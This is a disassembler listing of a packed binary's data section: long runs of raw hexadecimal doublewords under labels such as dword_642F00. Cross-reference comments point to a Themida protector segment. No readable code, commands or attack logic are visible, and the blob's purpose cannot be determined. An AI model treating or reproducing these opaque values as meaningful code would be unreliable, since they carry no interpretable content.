		dd 6916C81Dh, 66883892h, 6641DB15h, 73D53215h, 35AD74F2h
		dd 668833AEh, 3D9B3315h, 40A709ECh, 691931D1h, 66881990h
		dd 6642DB15h, 61E93215h, 0C18FD090h, 7585B79Eh,	0E74B35EFh
		dd 6622321Ch, 0AD8B375h, 93B8E4A9h, 0E113C774h,	0E1651629h
		dd 934E1629h, 0A292B72Eh, 0E34B3A16h, 66223226h, 66113BFCh
		dd 36710415h, 128F5297h, 0E3A9705Fh, 61EB2E4Ch,	993361E9h
		dd 4FBBCDEAh, 0EA2D69CAh, 6611321Ah, 668838FCh,	101B4A15h
		dd 0D225361Fh, 5DA065DBh, 654C1890h, 3EC13D1Dh,	8F223215h
		dd 66113219h, 68E7AADh,	9DFC623Ah, 885F16C6h, 6603DB75h
		dd 9C013215h, 43250C94h, 9B90B232h, 7C47713Bh, 89E91AFBh
		dd 66443AFCh, 45E11815h, 9D12A21Dh, 0E3035369h,	61BE23E4h
		dd 999C64ECh, 4FEECDEAh, 6A616CE2h, 25443215h, 0D3376FFCh
		dd 3CE93A6Eh, 5D822F42h, 65801C90h, 5BA73D1Dh, 8F113215h
		dd 66883218h, 3C306938h, 62AD835Eh, 738A577Fh, 0CB0DB9B6h
		dd 8F43C803h, 66223210h, 452D026Dh, 993567C6h, 4FBBCDEAh
		dd 0E32D6FFAh, 66113219h, 668835FCh, 235BB715h,	0DBFBCB34h
		dd 0A20FB72Eh, 0E3873A16h, 66443254h, 64AF3D75h, 0ED113215h
		dd 6683DBC6h, 797C3215h, 882FC3CBh, 57AB730Ch, 0E303538Ah
		dd 61BE0380h, 6623B81Ah, 93ED3215h, 285F8F40h, 8BC57DF0h
		dd 29C77CCDh, 8F4CDD3Ch, 66883210h, 820C64A4h, 44A709CFh
		dd 691931D1h, 66880990h, 61C33D15h, 69223215h, 66113393h
		dd 0E303CA15h, 61BE06D8h, 662238FCh, 7F96B315h,	9F36BA2Dh
		dd 30879B9Dh, 662233ABh, 38E63315h, 6682B61Ah, 63AD3215h
		dd 93223215h, 0B8643B55h, 61358F96h, 694435EFh,	66283191h
		dd 71993D15h, 8F883215h, 66443207h, 2B2EEF0Ah, 13FAB661h
		dd 509F479Dh, 9EE4BA3Fh, 0E3199817h, 6E12F1BBh,	66ACB71Ah
		dd 68AD3215h, 0C223215h, 66BFA9DDh, 0A0825AF5h,	0CB35527Dh
		dd 73A7B979h, 9316C811h, 66898C43h, 91453215h, 0E319CA4Bh
		dd 6E12F657h, 66C3B71Ah, 69243215h, 6622309Eh, 0E74E6215h
		dd 421B32DEh, 0E3CF533Eh, 61D82A90h, 6610BA1Ah,	69743215h
		dd 66443695h, 0A8A95215h, 67AB6074h, 67883215h,	0EF4B68C2h
		dd 66223200h, 0AEAE3D75h, 668838FDh, 3CA36B15h,	6163CEA9h
		dd 3936CA7Eh, 0D40D0974h, 694C31D6h, 66227590h,	661BDB15h
		dd 19CD3215h, 27179F3Bh, 0A958F639h, 736CB79Eh,	7E835EFh
		dd 99BB8847h, 0B10BCDEAh, 6602DB4Fh, 9D953215h,	9B552593h
		dd 0C21D789Eh, 69C7130Dh
		dd 0B750E837h, 664EDB46h, 98633215h, 0E0C126FAh, 92661C7Bh
		dd 0A5F2B72Eh, 0E32D3A16h, 66113261h, 668820FCh, 0CB726215h
		dd 0E23E25BEh, 60D22DC6h, 0A28D32ECh, 0EDCB7C68h, 9C31E790h
		dd 6600DB12h, 0C0B73215h, 263A64EAh, 888E90EDh,	0EA57857Fh
		dd 35F3804Bh, 76222AEh,	77C9B34Bh, 4F4F5333h, 8EE869CAh
		dd 66443201h, 1E12C68Dh, 0B61436D5h, 6BB1B574h,	0BCB39D33h
		dd 93B7500Eh, 66113FFCh, 748E3815h, 0A6B48BE4h,	0D70C89D9h
		dd 486E81h, 7A4E0AEh, 0A5FEB72Eh, 0E32D3A16h, 6611323Ah
		dd 0A70DB9E9h, 643C833h, 92F88973h, 74AA5475h, 66043D91h
		dd 7443215h, 679B6374h,	67113215h, 6E616BDAh, 37443215h
		dd 2EC98BEFh, 5D7678F6h, 654B8C90h, 29C13D1Dh, 69223215h
		dd 66113A97h, 64043D15h, 6443215h, 6627DB74h, 0A4F23215h
		dd 0E5719DFDh, 9C5D5FA8h, 0E32D3212h, 6611323Fh, 0BF0DB9EDh
		dd 6943C816h, 66223594h, 67923D15h, 9A883215h, 9875C524h
		dd 0E164C524h, 619D3DE2h, 69883215h, 66443393h,	0E319CE15h
		dd 6E12F1D7h, 66B8B71Ah, 69AD3215h, 6E223215h, 2E0685E4h
		dd 0F4C9F37Ah, 635CFA34h, 0E3A970F9h, 61EB2A50h, 668838FCh
		dd 9DB4A15h, 1D45752Bh,	318A98C7h, 99AC1E96h, 0E37FCB4Ah
		dd 6E21F1D3h, 6642B71Ah, 6E613215h, 0D6443215h,	4D943B26h
		dd 0E57869A5h, 9C915FA8h, 0E34B3212h, 6622322Ch, 4F94B9EDh
		dd 8F8FC808h, 66443204h, 395D0E99h, 0CFFCE622h,	25591AABh
		dd 5EEB1376h, 62A13DDBh, 6113215h, 35E95375h, 0D55EB4AEh
		dd 0E7C1E33Eh, 0FFDBC1D6h, 3D571BBDh, 0ACC109E0h, 692A31D6h
		dd 66116590h, 669CDB15h, 96223215h, 0A8D3B3C2h,	1F2A7E1Fh
		dd 92992EA7h, 0D691C60Eh, 0E3A9FCD0h, 61EB03BCh, 6687B61Ah
		dd 6CAD3215h, 0A4223215h, 60396F6Fh, 7E8E8255h,	99FE60F6h
		dd 4FDDCDEAh, 0E41E68C2h, 66883201h, 664EDA75h,	0CF453215h
		dd 3F667905h, 0DF45CAF4h, 795B94Ah, 0A5ECB72Eh,	0E31E3A16h
		dd 6688326Ch, 664421FCh, 0BB5D915h, 98E1E5FCh, 5EF9571Dh
		dd 1D5C1CA5h, 0DE1FCB58h, 66113EFCh, 1E081F15h,	0B5670E25h
		dd 0ED380799h, 0A394B94Ch, 68FC816h, 664CDA75h,	1C963215h
		dd 0C5032A4Ah, 93D3CE6Ah, 0A6F33D74h, 0A39F6774h, 0E77D4717h
		dd 9BC205F8h, 1581B342h, 67C9BA52h, 0E31E6FFAh,	6688320Ch
		dd 0A4CF5475h, 66223CFDh, 0DE19815h, 9A548F56h,	0B0404974h
		dd 3CC214E1h, 0B0940974h, 698031D6h, 6644B190h,	0DF445215h
		dd 77F96B17h, 0A5883215h, 0F5766EA8h, 0A6FF3900h, 0B21FAB26h
		dd 7F444C3Fh, 71A5375h,	7F4F8F96h, 691135EFh, 66886590h
		dd 6642DB15h, 53283215h, 75E69C3Dh, 7129B79Eh, 8F2435EFh
		dd 66223207h, 9B60229Ah, 6E78C33Eh, 0EB54C942h,	7B34F75Dh
		dd 30707626h, 9DA8ABABh, 7F82B326h, 9129B614h, 0D2D7B3C3h
		dd 67B74D34h, 8FBC6CE2h, 66223205h, 9845069Bh, 1FBD5791h
		dd 574EF7F1h, 0EC102FDAh, 0A5C3B72Eh, 0E3873A16h, 66443250h
		dd 6629BE1Ah, 60F83215h, 0A5883215h, 0B689ABD5h, 0B9FB16Ch
		dd 6616C80Ch, 66AFB71Ah, 0EDBC3215h, 9C21C790h,	6600DB12h
		dd 39E33215h, 0E875B96h, 3D346942h, 0F1611AD2h,	34B63E8Dh
		dd 664433AFh, 3CF53315h, 0BC9409E0h, 698031D6h,	66446690h
		dd 9A725215h, 0E39A534Eh, 617203F4h, 6655DB75h,	2073215h
		dd 72274BE2h, 7DEE3AFCh, 437B633Bh, 0ECE10B20h,	0E51E53F2h
		dd 66883214h, 0F7FA64E0h, 0A729F654h, 0B0E635F3h, 7DB5D494h
		dd 0E70215BEh, 7966BBE3h, 0D0FFB379h, 67E1A642h, 0E64B6CE2h
		dd 66223214h, 0B89409EDh, 698031D6h, 66446B90h,	61A33D15h
		dd 69113215h, 66883395h, 0E3CFCE15h, 61D83128h,	66113DFCh
		dd 0B8565015h, 0E8C877h, 7900C0A2h, 0BB4DF4Dh, 6D868F40h
		dd 83C52301h, 474F5521h, 9AECF794h, 8989CCEEh, 0DD225248h
		dd 74CB71D8h, 2113215h,	114B6C2Ah, 1330BD4h, 0DD51413Eh
		dd 73875D72h, 0E3B35325h, 6E47F1F7h, 6601B71Ah,	0EDED3215h
		dd 9C8CCF90h, 0D812CE12h, 4D6F4F4Bh, 9090E4E2h,	4DC54F4Bh
		dd 8F1AC53Ch, 66223210h, 29CF471Ch, 800D0927h, 694C31D6h
		dd 66226290h, 661CDB15h, 0EC8A3215h, 4E144D32h,	0A8090676h
		dd 0EDC15F09h, 9C844390h, 82F15212h, 60D5B373h,	0DD4253D6h
		dd 66883214h, 8F1FED14h, 66223205h, 2CCE8C63h, 0BAD03ACEh
		dd 0DCCABB1Ch, 0B8D8D67Dh, 661AB91Ah, 0E83215h,	0FA6CAEh
		dd 4F31FC94h, 8C940974h, 698031D6h, 66441A90h, 662ADB15h
		dd 35A13215h, 33EC61EFh, 0E3CF7F4Ah, 61D83424h,	909152E0h
		dd 0DED853D9h, 72DB660Eh, 0F9762820h, 3ED63301h, 880D09E9h
		dd 694C31D6h, 66227090h, 0E39ACB15h, 61721AE8h,	74C63D75h
		dd 8F223215h, 66113218h, 3905032Dh, 0CD525920h,	0D9B48F3h
		dd 7E8B82Fh, 3ED76242h,	72ADA555h, 0F4223215h, 0CF028E2Ah
		dd 77C2AF41h, 9E8D812Fh, 0C2C6E0F0h, 5DA077BAh,	654BC090h
		dd 14C13D1Dh, 69223215h, 66113A96h, 64043D15h, 6443215h
		dd 0ADA95274h, 8A81D894h, 0EDE90848h, 9C6CEB90h, 6BCA5212h
		dd 45113215h, 0C5C34E6Ah, 7B38EB13h, 7E0B4CC4h,	661120FCh
		dd 0AC435C15h, 63A08B18h, 0E410EE5h, 0E27B2FE2h, 3C3BEC84h
		dd 0ADF96774h, 9154C249h, 83C077C8h, 0DF1BC794h, 896DDFF5h
		dd 715248h, 3930A7AFh, 668835FCh, 11381915h, 886A2245h
		dd 90940974h, 698031D6h, 66447A90h, 0E3A9C715h,	61EB2A6Ch
		dd 669AB21Ah, 6BAD3215h, 0D8223215h, 0F095430Ch, 6EEFBC99h
		dd 9658B1B1h, 679F67EDh, 67113215h, 76616FFAh, 0EC443215h
		dd 21626143h, 2C8A56DCh, 0EED5283Ah, 8F47F938h,	66223210h
		dd 1D245D09h, 1F0D099Dh, 6943C808h, 66221690h, 0D91E5215h
		dd 965BB3CBh, 727A970h,	66CFB79Eh, 0ED7135EFh, 0A13B8DDAh
		dd 36256BE6h, 99DDCDADh, 3ED61BEAh, 9C0D09E0h, 694C31D6h
		dd 66220D90h, 0EDE4CE15h, 9CB96790h, 6ACB3D12h,	69223215h
		dd 6611349Dh, 66073D15h, 34443215h, 99DDCDAFh, 3CC61BEAh
		dd 669DB31Ah, 76AD3215h, 0C5223215h, 0F59B8463h, 5E4714B8h
		dd 291FACFBh, 9E52E57Ch, 0A227B72Eh, 0E3873A16h, 6644327Bh
		dd 2AC5B275h, 81F58B73h, 5835B174h, 664C31D1h, 6605B71Ah
		dd 0ED713215h, 94373DECh, 0BBF9B174h, 6625C83Fh, 6655B61Ah
		dd 9FE83215h, 664FDB74h, 0BDB63215h, 840FE777h,	0CBF43BDCh
		dd 93C1B99Ch, 9A25C821h, 3CA962E0h, 53DAD944h, 7CF20A9Dh
		dd 830FE2E2h, 630C2E3Ch, 35613A24h, 0F6CFB420h,	3EE51B04h
		dd 64953D75h, 0EC883215h, 0E37F53E2h, 6E21F62Fh, 667DB71Ah
		dd 69E83215h, 66443693h, 0CC9B5415h, 0DB925368h, 6E8BF62Bh
		dd 4BC13D15h, 9E223215h, 4CCC8F96h, 698835EFh, 66447791h
		dd 37425215h, 72F8534Bh, 91883215h, 4D94DDEFh, 0E2C23E6Fh
		dd 0F78C17C2h, 0A64DC840h, 7069D9Eh, 6E5FB79Eh,	77135EFh
		dd 66E16D7Dh, 4278BB15h, 390636EAh, 661DB01Ah, 0E7873215h
		dd 66443213h, 6622B21Ah, 0E32A3215h, 6E8BF1EBh,	6667B71Ah
		dd 0E6423215h, 0ED7030DBh, 9CA5E790h, 67C43D12h, 9F223215h
		dd 0A090C592h, 66883214h, 24C592h, 9A2131AEh, 64940974h
		dd 698031D1h, 66446690h, 6AAC3D15h, 69113215h, 66883492h
		dd 66C43D15h, 0ED223215h, 9C31A790h, 0E8875212h, 66443211h
		dd 14438C73h, 661120FCh
		dd 0F7872915h, 73C985A2h, 4FAB7B0h, 24001031h, 74101E5h
		dd 4240CD42h, 0E7060E9Eh, 661136D1h, 600A3D15h,	6443215h
		dd 7425375h, 60940974h,	698031D1h, 66440C90h, 0AEA95215h
		dd 7EF6B373h, 0E30353ADh, 61BE21A4h, 662BBE1Ah,	0E7713215h
		dd 941231F6h, 3025CE41h, 0E73E02ABh, 91C7C545h,	166EB3CBh
		dd 0E7613045h, 663203E3h, 38E63315h, 6689B71Ah,	5DBC3215h
		dd 65E63890h, 5A943D1Dh, 6883215h, 6646B81Ah, 3F713215h
		dd 77AA5446h, 0EDE969C6h, 9C5D3790h, 0DE72CE12h, 22A03510h
		dd 20A53755h, 86854388h, 5C0A3F12h, 311409BDh, 4F486351h
		dd 0ED246AD2h, 0A82C89D3h, 5D703FBBh, 654C3C90h, 78C13D1Dh
		dd 69223215h, 66113590h, 0E7EE5215h, 77DFEF7h, 6527B79Eh
		dd 35E935EFh, 9977CDAEh, 3D9B1BEAh, 74A709EDh, 691931D1h
		dd 66881990h, 0D94B5215h, 8EECB3E3h, 7085A76h, 629DB79Eh
		dd 0E62435EFh, 0B8A9D4F0h, 0B7AA6174h, 0A79FCD09h, 0A5C537F6h
		dd 663E57F4h, 9F4AED14h, 0E287CD1Eh, 6644320Eh,	6623BB1Ah
		dd 8FED3215h, 9977DFB0h, 664438FCh, 5E4D515h, 0ED62F1EFh
		dd 5DC7FB25h, 9C5E3790h, 35A73D12h, 8F113215h, 6688321Eh
		dd 7CFEA23Ch, 7AC206EFh, 9AE63EEAh, 91D2B798h, 0E24B3A17h
		dd 66223203h, 6614DB75h, 23203215h, 8F110FD1h, 66223210h
		dd 45599985h, 346153EAh, 69BBCDF8h, 66223E91h, 609C3D15h
		dd 69883215h, 66443291h, 0D12D5215h, 9FAE54EBh,	0E3B3534Ah
		dd 61BE00F4h, 666CB71Ah, 0E5E43215h, 654B6CA8h,	0E34B331Dh
		dd 66223255h, 6610B01Ah, 0EB743215h, 3F4F5590h,	6BCB5215h
		dd 0A5113215h, 53B12D5Ch, 2A79D7B0h, 0D46C2441h, 69705275h
		dd 7E9ECA2h, 99A8C2FCh,	662CDBEAh, 478D3215h, 393C9427h
		dd 54E26A47h, 374CE170h, 0A57FB72Eh, 0E2873A16h, 6644320Bh
		dd 662235FCh, 1113915h,	0B09C970Fh, 0A536B72Eh,	0E32D3A16h
		dd 66113237h, 0D98752ECh, 0C8AD53E4h, 8FDDCDF9h, 66113207h
		dd 0CF58EF8Eh, 2039BE6Eh, 676ECA3Fh, 18F9195Bh,	0EDA5BF7h
		dd 42652E6h, 0F46AA04Fh, 6E3D894h, 0B0015077h, 6643DB4Fh
		dd 0A5C43215h, 0F29A952Ah, 6776B16Bh, 6699B71Ah, 0E12D3215h
		dd 6611321Dh, 668ABC1Ah, 7243215h, 0A540B72Eh, 0E31E3A16h
		dd 6688322Eh, 66443DFCh, 848CD15h, 0E1DE099Fh, 66E05452h
		dd 43C00CCFh, 0E1E6B798h, 61F8324Dh, 0B0883215h, 173E5C0Fh
		dd 4CCBAFB2h, 8FEECDF9h, 6688321Eh, 91853FD7h, 0A17E92D9h
		dd 5DB942C6h, 654B5490h, 52C13D1Dh, 6223215h, 0EB705AA7h
		dd 3E000890h, 6648DB15h, 0EC533215h, 0F6265961h, 0A9C289ADh
		dd 8FB1FD89h, 99DDD9F8h, 661CB51Ah, 6E613215h, 21443215h
		dd 84E32CC7h, 5DF183D7h, 654B5890h, 5AC13D1Dh, 8F223215h
		dd 6611321Dh, 569778FEh, 997E6E8h, 0EE5DB798h, 6971324Dh
		dd 0E387E1A2h, 66443213h, 6622BC1Ah, 8F703215h,	9977D9B0h
		dd 0EA308D75h, 0E72D543Bh, 66113213h, 4CE7EC94h, 362515E8h
		dd 0E506369Eh, 0EE1E36D1h, 6688321Dh, 6646B61Ah, 7423215h
		dd 6611307Dh, 42BCB915h, 640F696h, 7D0B9E0h, 6616B31Ah
		dd 0E3873215h, 66443214h, 69D439ECh, 66117A90h,	74605215h
		dd 0D3443215h, 95630206h, 27AB4362h, 6E96C9C0h,	0B3962E10h
		dd 3BD3B3DBh, 3835DD57h, 668AB31Ah, 38163215h, 8CCFDB74h
		dd 6DF8CDEAh, 0E6883215h, 28D5E6DEh, 768242AEh,	60F820EDh
		dd 62883215h, 75EFFB11h, 0A5AB61BBh, 7A9AEC9Ch,	624CB331h
		dd 9E443215h, 45D3879Ch, 0EC1E35EFh, 66883212h,	6645B11Ah
		dd 0EFDA3215h, 9C311FA0h, 669BDB12h, 4E3A3215h,	2F438884h
		dd 7635FA28h, 0D98F67E9h, 0DDB043FCh, 8F1CB2A3h, 6723B71Ah
		dd 8FE83215h, 66443206h, 65A4EDBFh, 40E20844h, 5E5B7D70h
		dd 0B96EA527h, 68FEF13h, 66113EFCh, 68CDD815h, 3B426DDDh
		dd 0F237E049h, 6616DB05h, 96D73215h, 0F7B749E3h, 994353C6h
		dd 4A903363h, 63A70531h, 0DB116D7Dh, 0E271D22h,	64CDD14h
		dd 776184A2h, 69443215h, 0AB230F4Dh, 0DFEDE6DDh, 0CC8E6040h
		dd 5F625DE2h, 71A23D74h, 8F113215h, 66883207h, 698547AFh
		dd 97B40172h, 27EAE460h, 965D8611h, 0DD174DF9h,	1FB879CDh
		dd 674AED14h, 0BE67B3E2h, 9E3DA85Eh, 6625B31Ah,	0EE1E3215h
		dd 66883214h, 91CD65ECh, 697D6942h, 66113A99h, 64043D15h
		dd 6443215h, 669C6474h,	67113255h, 42BCB9E6h, 640F696h
		dd 662234FCh, 66ABC415h, 698EC869h, 66443193h, 0A7953D15h
		dd 0ED775274h, 0DBB353E4h, 61BE11E4h, 6610B01Ah, 0E81E3215h
		dd 66883212h, 6645B61Ah, 6DA3215h, 0DEE7851Ah, 6FDDBE90h
		dd 69BF0974h, 66221593h, 6EF95215h, 30883215h, 0BBC3B74Fh
		dd 69E8B4B1h, 74FF8A2h,	996154FCh, 664EDBEAh, 0FF683215h
		dd 91916042h, 0DF1ABB50h, 7B218F9Eh, 0E02D35EFh, 6611320Eh
		dd 669DB91Ah, 76AD3215h, 0BE223215h, 0FEF9C70Dh, 1C45F942h
		dd 5BDDA24Bh, 6930A08Dh, 66113F92h, 6680DB15h, 84033215h
		dd 0C833644Dh, 0E3D600CBh, 617211ECh, 66443215h, 0E12D52ECh
		dd 66113204h, 66883EFCh, 0FF820F15h, 0AB22C3CEh, 0B9C3BCC4h
		dd 67093DEBh, 9F443215h, 460F879Ch, 0EBE835EFh,	62CD9588h
		dd 6ECD3D1Dh, 6223215h,	0CD718B73h, 6E9E59Fh, 0E78FB973h
		dd 2010DFC7h, 0B5EE533Ch, 668835FCh, 7935F015h,	16775584h
		dd 0E21EF21Eh, 66883229h, 665DB31Ah, 72CB3215h,	3C113215h
		dd 4EF45C51h, 0CE102CFAh, 169576FCh, 124DCDF9h,	8FCDDD40h
		dd 6644329Ch, 6630B21Ah, 0E21E3215h, 66883219h,	664435FCh
		dd 2B66FD15h, 216AA809h, 0E36FAF98h, 69243A15h,	66223495h
		dd 0B6C3B315h, 0EEAC08h, 5146D494h, 69F1CD74h, 99EE5596h
		dd 69003DEAh, 8F443215h, 6622321Fh, 968E4162h, 0A4156EA3h
		dd 0D3CF79C7h, 61D81238h, 9FA4BBEDh, 938FC836h,	6EEAF98h
		dd 74CB3A17h, 77113215h, 6C1BCB1Eh, 77D5F38Ah, 65923182h
		dd 47111CEh, 0E7EE5209h, 7ED38DEh, 0E42DE1EAh, 66113214h
		dd 970DB9E9h, 8F43C836h, 6622321Dh, 4FAE75D3h, 849B0D1Ah
		dd 4669B79Ch, 694235EFh, 66113398h, 0E787CB15h,	66443217h
		dd 7436D46h, 6617B11Ah,	69E83215h, 7B1F3AAh, 662CB71Ah
		dd 6FF83215h, 35883215h, 14B99C1Bh, 96DD02A4h, 69F90C95h
		dd 66888490h, 0DBC7CA15h, 61D81594h, 0CE953D15h, 8F883215h
		dd 6644321Ch, 0CD80C3B8h, 35EA0A27h, 0B8E05402h, 6ACD546Eh
		dd 0EECB8731h, 9E4854FDh, 483C52BFh, 7958475h, 6630DB74h
		dd 0EBFE3215h, 17075628h, 382819B7h, 7DDA87h, 0C1AFEA5h
		dd 668CDE94h, 52CD3215h, 0DD426A31h, 7DDF42CFh,	711E095h
		dd 1E6837E9h, 0FD2762D7h, 4F6FFB44h, 37131FEDh,	4A694CDCh
		dd 9A72F06Dh, 66158B44h, 0AEA13215h, 0E5603E9Eh, 8FDB36D1h
		dd 6611321Bh, 732CA802h, 0F21AA4E3h, 45B88656h,	8FBAB6C4h
		dd 6688321Eh, 0D0D83ADAh, 4EF6E635h, 8F2E4102h,	66883053h
		dd 6645BB1Ah, 0EBDA3215h, 623DBB88h, 6698DB1Dh,	0C90E3215h
		dd 989F37DEh, 4EDD4D26h, 0EB17944Ah, 0B5BBFAF8h
dword_642F00	dd 78CBB275h, 0D7D0B373h, 0FB055352h, 6E40726Ch, 662222FCh
					; DATA XREF: sub_5A55E5+411Fo
		dd 0F3C3EE15h, 0B11F37B0h, 0E3FDFE0Bh, 5199CB1h, 93C2CD8Ch
		dd 0E387F21Eh, 6644323Fh, 662235FCh, 0D47E9115h, 0F4FDA7F7h
		dd 664415FCh, 75AB3D15h, 8F113215h, 6688321Bh, 0BE2CDC4Fh
		dd 34AC637Ah, 719B6004h, 0E30B3DB0h, 61BE1238h,	0DBCBC710h
		dd 93EECDEBh, 2446AF98h, 0EC4B3A11h, 66223206h,	6CF9C775h
		dd 72883215h, 0B2EDA153h, 23F138FAh, 99706948h,	0A683CEC6h
		dd 660CB71Ah, 0E02D3215h, 66113219h, 668EB41Ah,	0E04B3215h
		dd 66223215h, 661167FCh, 7E053D15h, 8F443215h, 66223206h
		dd 6C5DF90Dh, 0BF77BDA7h, 0BE451C5Eh, 3DD5D44Bh, 8F7FBEE3h
		dd 6688321Bh, 0E9C21194h, 0F475EB96h, 983C7FF2h, 0D9DF2736h
		dd 66443211h, 5AA9C814h, 62D5B131h, 6682B41Ah, 0D8243215h
		dd 48FD937h, 7B7D595h, 668917FCh, 0FBC9CA15h, 6E22B7F2h
		dd 69C2CDEDh, 66885296h, 8F245215h, 66223205h, 62B730C9h
		dd 0C47F5586h, 3FA75F54h, 482CE110h, 40B58D73h,	668DDA74h
		dd 49EA3215h, 931CCD6Bh, 0D39A534Dh, 61721238h,	6654BA1Ah
		dd 6DCB3215h, 0FA113215h, 474E2761h, 439E1321h,	28CBE5B7h
		dd 8F11323Fh, 66883204h, 15AAD538h, 14369351h, 11F65E17h
		dd 0A4EEE3C0h, 4BC9B918h, 625C835h, 66113EFCh, 2C686015h
		dd 43E14773h, 9E15D176h, 0EF70CBC6h, 9CA81FA0h,	67C93D12h
		dd 9E223215h, 661FB21Ah, 6F613215h, 35443215h, 7F0BE37Bh
		dd 8F5C592Fh, 1252DB94h, 976D3B77h, 12F88A45h, 0A7103B77h
		dd 31DBCE4Dh, 0DB43C07Dh, 0B9D56D0Bh, 321CD594h, 894911C0h
		dd 9B83B317h, 0EFD59DFEh, 0AD386DEEh, 93D3EB92h, 57108A45h
		dd 0FE273A58h, 670EDA05h, 0A8A16AD3h, 27A8DC94h, 0EF2D1A20h
		dd 66113214h, 9F2CC1ECh, 99B911FCh, 77CB52EAh, 0A9113215h
		dd 5B8D79FBh, 67EE1239h, 7643029h, 4BCAC788h, 69E964A4h
		dd 6644339Ah, 0FBAFC715h, 6E135089h, 66883AFCh,	7885415h
		dd 941BB07Eh, 8FC2CD71h, 66883205h, 0EBF50B76h,	0A41A31CAh
		dd 204F0A0Ah, 0E619DCA0h, 6640DE94h, 5AAB3215h,	4DE96A31h
		dd 9C955790h, 77C93D12h, 8F223215h, 66113219h, 0E32E37FFh
		dd 122A5E4Eh, 84154F7Ah, 7E78B79Ch, 69E835EFh, 0E14BE5A2h
		dd 66223217h, 0ED705375h, 9C955790h, 8AC7CE12h,	421EBB11h
		dd 819865ECh, 668CF594h, 89C73215h, 421EB511h, 4215BB49h
		dd 669AB11Ah, 6BAD3215h, 2D223215h, 23586B5Ah, 6B3D1DBEh
		dd 0C4A511FFh, 2DBBF98h, 0EC1E3A17h, 66883214h,	695CDE9h
		dd 662237FCh, 0CA4F6C15h, 6739139Fh, 6AC73D74h,	69223215h
		dd 6611349Fh, 660E3D15h, 0ED443215h, 9C284390h,	0ED775212h
		dd 82D089D2h, 34254A02h, 0A4A3D09Ch, 66113211h,	668CD894h
		dd 72C33215h, 62AB6E31h, 661FDB31h, 8F83215h, 0F0FD5DE5h
		dd 77A8CEFAh, 0B424BEFh, 463F5AE0h, 5ACD3215h, 0E3A9CB31h
		dd 61EB2F70h, 6264B3ECh, 0EF443215h, 69421611h,	66113098h
		dd 69D06115h, 66442B99h, 6636DB15h, 0D0A53215h,	0BCD359BDh
		dd 7CBEDA92h, 51F1EEAFh, 849DF8FDh, 0EBE97CCAh,	64220698h
		dd 6629DB1Dh, 49563215h, 1D19704h, 0ECA11238h, 6F3CD75h
		dd 661121FCh, 0A0D96515h, 0B3A97AB0h, 0C7750C6Ah, 6D9083F0h
		dd 0D5B3EC1Ch, 5C3BA5AAh, 8AA35347h, 66113211h,	3CAC369Ch
		dd 6ECF3DE9h, 69223215h, 6611309Dh, 30E95215h, 3F12F49Ch
		dd 6CA93D4Bh, 8F113215h, 66883210h, 0DAEC63F4h,	17AF19BFh
		dd 616C81Fh, 66003D43h,	3E443215h, 2BC3B373h, 0DB9253C7h
		dd 61723044h, 10C03D15h, 93223215h, 661120FCh, 6A0DA315h
		dd 0FBBA4D80h, 1B71FBA9h, 15CC1626h, 0EDB02168h, 9C60BB90h
		dd 0E7445212h, 6955ACC2h, 66883791h, 0E6FF8B15h, 4D43076Ch
		dd 9C136390h, 0A7B3CB12h, 6673B41Ah, 61CB3215h,	8A113215h
		dd 0C0F7BF44h, 0E3CF8CAAh, 61D81534h, 0DC7752E9h, 0D9EE4A69h
		dd 6525950Eh, 9C206390h, 67983D12h, 9A883215h, 7855B79Ch
		dd 8FD735EFh, 66113372h, 7F8F5AE9h, 6ACD3215h, 0DF445231h
		dd 0DBAA494Fh, 7936DFCh, 0EF1F6346h, 6BCB69CDh,	0F113215h
		dd 49551A7Fh, 50E03F62h, 42569F9Ch, 212E8847h, 0B47F2EA1h
		dd 3FBDF094h, 84A3174Ch, 7AF123C7h, 89F9F094h, 0B66DC54Ah
		dd 62AA3D4Fh, 6113215h,	0E7E9E69Fh, 664436F9h, 423EBB15h
		dd 661ECDAEh, 3D503B15h, 8BC7A7E0h, 0E82DA7EAh,	66113201h
		dd 6686B91Ah, 6FAD3215h, 85223215h, 0F7F29B3h, 643AFDD5h
		dd 42CDB79Ch, 67DA35EFh, 9C02C790h, 0E34FCE12h,	61BE3044h
dword_643400	dd 66223215h, 660CB31Ah, 0E8873215h, 66443202h,	662220FCh
					; DATA XREF: Themida_:005A35F8o
		dd 86FDF115h, 0EFCC29B1h, 0D3618DE6h, 0ADA00F1Eh, 0CE43F5Bh
		dd 66E0CB55h, 6443205h,	6626BE1Ah, 0D9773215h, 6D619188h
		dd 0D4443215h, 0E1F5F476h, 0A199650Ah, 9EE9889Ah, 66144C7Dh
		dd 422EBB15h, 88188C75h, 0CE95696h, 6649DB15h, 72673215h
		dd 8C9F0B23h, 98233C33h, 9999B404h, 9C39DF80h, 97915212h
		dd 0B9373D60h, 33D1CD74h, 9A25C806h, 66113BFCh,	248E8815h
		dd 7EF0BB8Ah, 0E3ABD344h, 61EB1534h, 66883FFCh,	0CC7ABA15h
		dd 823F938Ah, 64B4324Ch, 0E301DF40h, 61BE2C04h,	4216CDE0h
		dd 62D5B34Ch, 69883215h, 66443C9Bh, 662BDB15h, 68513215h
		dd 0ACFBE648h, 992A2030h, 9C3C23A0h, 72F85212h,	2C883215h
		dd 7F5DA4DEh, 2180C75Fh, 1B2EEB0Eh, 7A9DD8D2h, 8F795417h
		dd 6622321Fh, 0EEE6A64h, 6B8DEE6h, 992519BCh, 9C2843A0h
		dd 6D953D12h, 6883215h,	7EA1EB94h, 0ED442557h, 467953DDh
		dd 0EF883214h, 0E04B1629h, 66223219h, 6617B71Ah, 0E8873215h
		dd 66443215h, 7B4787EAh, 0EA1E35EFh, 66883214h,	0F0C1BFE0h
		dd 692A306Ah, 66113F98h, 6680DB15h, 0B63215h, 0EE167078h
		dd 0B6EEAD8Fh, 370533E0h, 6943C817h, 66223594h,	67943D15h
		dd 9F883215h, 78558F9Eh, 69DA35EFh, 66113990h, 668EDB15h
		dd 0F3AA3215h, 0AC49DB5Ch, 6C60879Eh, 0E7E835EFh, 3A659CD7h
		dd 7EAB94Ch, 0EDE496E6h, 9CAC07A0h, 6E9CA12h, 0D97553E0h
		dd 616362DBh, 0DCDAEDE2h, 50D82016h, 0A4A3E0E2h, 5FD80829h
		dd 0E7D2E514h, 0DC9358E2h, 9A5CBBEEh, 60F8C74Ah, 3A883215h
		dd 0E1134683h, 63E2F38Ah, 661CB11Ah, 0D9E83215h, 29E94B90h
		dd 6622B51Ah, 0E703215h, 66880335h, 0DB601E9Ch,	42F21047h
		dd 7F4C794h, 8B096161h,	9F12972Fh, 697FDA14h, 66112E91h
		dd 70033D15h, 8F443215h, 66223204h, 44C7B81Eh, 0B25D92CEh
